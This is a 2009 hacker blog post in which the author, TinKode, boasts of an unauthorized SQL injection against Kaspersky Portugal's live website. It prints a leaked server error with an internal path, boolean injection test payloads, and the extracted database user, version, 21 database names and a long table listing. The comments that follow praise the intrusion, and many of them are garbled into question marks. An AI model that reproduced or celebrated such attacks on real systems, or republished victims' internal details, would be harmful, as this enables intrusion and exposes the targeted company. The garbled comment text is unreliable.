Kaspersky Owned

November 29th, 2009 TinKode Posted in PostGreSQL Injection | 83 Comments »

                     _   __                              _
                    | | / /                             | |
                    | |/ /  __ _ ___ _ __   ___ _ __ ___| | ___   _
                    |    \ / _` / __| '_ \ / _ \ '__/ __| |/ / | | |
                    | |\  \ (_| \__ \ |_) |  __/ |  \__ \   <| |_| |
                    \_| \_/\__,_|___/ .__/ \___|_|  |___/_|\_\\__, |
                                    | |                        __/ |
                                    |_|                       |___/

                                                                                  #owned by c0de.breaker


In one evening, when i searched a antivirus, I entered on the official kaspersky website of Portugal from mistake.
Link: www.kaspersky.com.pt
Kaspersky, from what i know has been hacked by “unu” with MySQLi.
So I said to try to see if I could find a vulnerability!
After 5 minutes of searching, I found something interesting, namely::

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" at character 306 in /home1/_sites/wwwkasperskycompt/kaspersky/PHP/IfDBRevendedoresKaspersky.phpclass on line 121
ERRO na execucao da query getRevendedors
ERROR: syntax error at or near "\" at character 306

pg_exec() : That means as he use a PostgreSQL database.
First time, i checked to see if is injectable, and if i can extract something.
The answer:

———————————————————–
True: and 1=1–
True

False: and 1=2–
False
———————————————————–

So I can make PostGreSQL Injection!

What I extracted?
I wasn’t concerned about the content, I only “got” the names of databases, tables and columns.

Versiunea


#Principal Database: dbdoc
#User: www-data
#Version: PostgreSQL 8.1.11 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)

#Other Databases

1 postgres
2 template1
3 template0
4 monitoring
5 estkaspersky
6 horde
7 licence
8 hardwareipbrick
9 acessosclientes
10 licencefmota
11 temp
12 dbdoc
13 webcalendar
14 ipbox
15 adcav
16 jpleitao2
17 funambol
18 gaia
19 cinel2
20 makeupdate
21 tempdefaultconfig

#The tables from dbdoc database (number:458)

1 table_base_idxml73
2 table_ass_idxml73_idtab1025
3 liga_tipoent_categoria
4 liga_subcat_categoria
5 classif_entidades
6 ignora
7 categoria_entidade
8 site
9 subcategoria_entidade
10 tabela_gestao_ipcontactos
11 ipcontactos_lang_files
12 utilizador_externo
13 webcal_sincro
14 pga_queries
15 pga_forms
16 pga_scripts
17 pga_reports
18 pga_schema
19 pga_layout
20 avaliar
21 estadorec1
22 liga_resultado_tarefa
23 webcal_user
24 utilizadores_operacao
25 webcal_entry
26 webcal_entry_repeats
27 webcal_entry_repeats_not
28 webcal_entry_user
29 webcal_entry_ext_user
30 webcal_user_pref
31 webcal_user_layers
32 exhumationprice
33 webcal_site_extras
34 webcal_reminder_log
35 webcal_group
36 table_base_idxml13
37 webcal_group_user
38 webcal_view
39 webcal_view_user
40 gravetype
41 webcal_entry_log
42 webcal_categories
43 webcal_config
44 cemeterysection
45 solucao
46 ipdoclanguages
47 ipdoctranslation
48 ipdocsentences
49 ipdocpages
50 ipdocpagetranslation
51 table_base_idxml15
52 table_ass_idxml15_idtab51
53 lockcodigos
54 assunto
55 table_base_idxml16
56 subassunto
57 table_ass_idxml16_idtab68
58 entidades2
59 coordenadas_estado
60 dados_infantarios
61 coordenadas_estadopr
62 codigo_accaopr
63 table_base_idxml17
64 raca
65 table_base_idxml18
66 table_base_idxml19
67 table_base_idxml20
68 table_base_idxml14
69 distrito
70 concelho
...
439 accaopr
440 table_base_idxml79
441 estadopr
442 funcaoproc
443 funcaopr
444 table_ass_idxml79_idtab1183
445 table_ass_idxml79_idtab1190
446 table_ass_idxml79_idtab1191
447 table_ass_idxml79_idtab1192
448 table_ass_idxml79_idtab1193
449 table_ass_idxml77_idtab1194
450 table_base_idxml78
451 table_ass_idxml80_idtab1216
452 table_base_idxml81
453 table_ass_idxml81_idtab1228
454 table_base_idxml70
455 table_base_idxml82
456 documento
457 revisaodoc
458 table_ass_idxml82_idtab1257

#Me: Ma gandesc, daca tot este una din cele mai mari compani din lume care asigura protectia poate a multor milioane de utilizatori prin produsele sale,
de ce nu au grija de propria securitatea in primul rand? Acest lucru poate fi si din cauza firmelor care creaza aceste website-uri intr-un timp foarte scurt pe sume exagerat de mari…
Cam atat.

~Where is a will, there is a way

83 Responses to “Kaspersky Owned”

  1. O treaba foarte buna mister.Te felicit pentru atac.
    Doriti sa facem Blogroll? :)

  2. Bravo TinKode !

  3. Mul?umesc,imi place:)Bravo;)

  4. c***e daca nu imi dai niste licente…. nu ma mai joc cu tine

  5. [...] This post was Twitted by jabra [...]

  6. ???????))))

    The author the good fellow)))

  7. O, da, avem un hacker printre noi.

    http://www.worldit.info/noutati/un-roman-a-spart-website-ul-kaspersky-din-portugalia/

    Daca a inceput sa apara “owned”, “hacked” e clar. Si eu care te credeam mai cu cap…

  8. Si cum dorea-i sa pun: “Kaspersky floricele pe camp?”
    Nu inteleg cand va vad ca va luati de niste porcarii minuscule.
    Si daca ma uit mai bine nu am fost eu primul care a folosit aceste cuvinte!
    Acolo de ce nu comentezi ca a folosit HACKED?
    As spune mai multe, dar ma abtin!
    A, daa, si eu te credeam mai cu cap, dar na…

  9. Ohh that’s great job mate, keep up ;)

  10. Great job… i wait a next big company! :)
    Keep up

  11. @d3ck4:
    Much better to make manual! :)
    But sometimes it’s good to use some scripts (that only if you know how to make manual first time)

    @infosec:
    Will be soon! :)

  12. alert(“Really nice job”)

  13. @TinKode
    agree!
    but dont tell me you extract all this data using manual
    thats a lot of time consume did ya ;-)

  14. Manual all! :)
    I didn’t use any tool!

  15. tin fmm intra pe mess ca ti-am spart un hash :) ))))))))))))

  16. nice …. using cast command … i am still researching on that command (researching d3ck4′s tool) :) )

  17. SQLi never die… tinkode still breaker :)

  18. Hello, good work..

  19. ??????! ? ????????????? ??????? ??? ????. ???? ????? ?????????? ??? ? ???? ????????? ????? ????? ? ????? 2010 ?????. ????? ????, ????? ????????? ????? ? ?????????? ???? ????? ????????. :)

  20. ????????? ????????….?? ?????? ???????? ??????????b

  21. ???????? ????! ??6

  22. ?????????? ??????, ?? ?? ??? ?????. 4?

  23. ????? ????? ?? ??? ????, ? ??? ????? ????????? ??????? 7?

  24. ???????? ?? ?????????? ?? ??? ???? 9?

  25. ????? ? ???????? ? ??? ????? ?????? 6?

  26. ????????? ??????? ???????? ?? ???????? 8?

  27. ???? ? ??????????? ????? ????????? ?????? 8?

  28. ????????? ??????, ??? ??????????? 7?

  29. ????? ?????????? ??????, ??? ??????????? 6?

  30. ? ??????????? ??? ????????? ??????????? 5?

  31. ????????? ??????? ???????? ?? ???????? 5?

  32. ????? ?????? ????? ????? 7?

  33. ??????? ???? ???????? ??? ???????? 5?

  34. ????????? ??????? ???????? ?? ???????? 6?

  35. ?????? ?????, ????, ??? ?????? ??????? 5?

  36. ????? ? ????????, ???? ??????? ?????? 5?

  37. ????? ??????????? ??????, ?????? ???-??? ???????? ?? ???????? 5?

  38. ??? ?????????? ????? ?????? 3?

  39. ????? ??????????? ??????, ?? ???-??? ?? ?????? ????? 4?

  40. ?????????? ????? ??????, ??? ??? ?????? 4?

  41. ?????? ??????, ??? ??????????? 5?

  42. ? ??????????? ??? ????????? ?????? 4?

  43. ????? ? ?????????????, ????? ??????? 4?

  44. ????? ??????????? ??????, ?????? ?? ??? ????? 5?

  45. ????????? ??????, ??? ????????? ?????? 4?

  46. ????????? ????????. ? ?????????? ????????? ??????? ??? ??????????. ?????? ????? ????????? ?????????-???????? ????????? ?? ?????, ?????????? ?????????? ?????? ? ????? ????? ????? :)

  47. ????????? ??????? ?? ?????, ?? ?????????? ???????? 5?

  48. ????? ??????????? ????? 3?

  49. ????????? ????? ?????, ?????? ????????? ??????? ????? ???????? 4?

  50. ??????? ????. ??? ???????!!!

  51. ???? ? ????????, ??????? ???????? 2?

  52. ??????? ??????, ??? ????? ??????????? 2?

  53. ??????? ???????? ?????? ????? ????? 1?

  54. ???????? ?????????? ?????? ?????, ???? ?? ??????? 2?

  55. ?????? ? ????????, ????????? ????? ????? 5?

  56. ???? ?????? ??????????? ? ???? ????, ???????? ???????? 4?

  57. ??? ?????????? ????? ??????, ????? ????????? 3?

  58. ????? ?????????? ?????? 2?

  59. ? ??? ?? ????? ????? ??????????? ? ???? ???? ???? ? ???? ?? ??????. ?????? ??? ?????? ? ???? ?? ????? ?????…??????? 20. ????? ? ???? ??? ?? ???????????

  60. ????? ?????????? ????? ?????? 4?

  61. ??? ????? ??????????? ???????? ?????? 3?

  62. ?????????? ?????? ????????? 2?

  63. ????? ????? ?? ??????? ??????? ?? ?????? ????????? 2?

  64. ?????? ???????. ??? ???????!!! :)

  65. ??? ??????????? ???????? ?????? 3?

  66. ? ????????????? ??????? ??????, ????? ?????? ????? 3?

  67. +1 ???????????

  68. ????? ? ?????????????, ????? ?????????? 3?

  69. ??? ????? ??????????? ????????, ?????????? ???????? 2?

  70. ???????????, ???? ?????????, ????? ?????? 2?

  71. ????? ?????????? ???????? ???????? 2?

  72. ?????????? ?????, ??????? 2?

  73. ???????, ??????? ????.

  74. ????? ????????? ???? ???????????? ? ????????? 3?

  75. tinkode un mail ceva? vreau sa te intreb si eu cate ceva..poate ma poti ajuta… ms anticipat

  76. ????? ?????????? ????? ??????, ????????? 3?

  77. ?????????? ????? ??????, ????????? 2?

  78. ??????? ??????, ?????????? ?????????? 3?

  79. ???? ?? ???? ?????????? ???? ?? ???????, ????? ????????? 3?

  80. ?????????? ???????? ???????, ??? ??????????? 2?

  81. ??????????? ?????????, ??? ??????????? 2?

  82. ??????? ?????? ? ??? ????? ??????????? 2?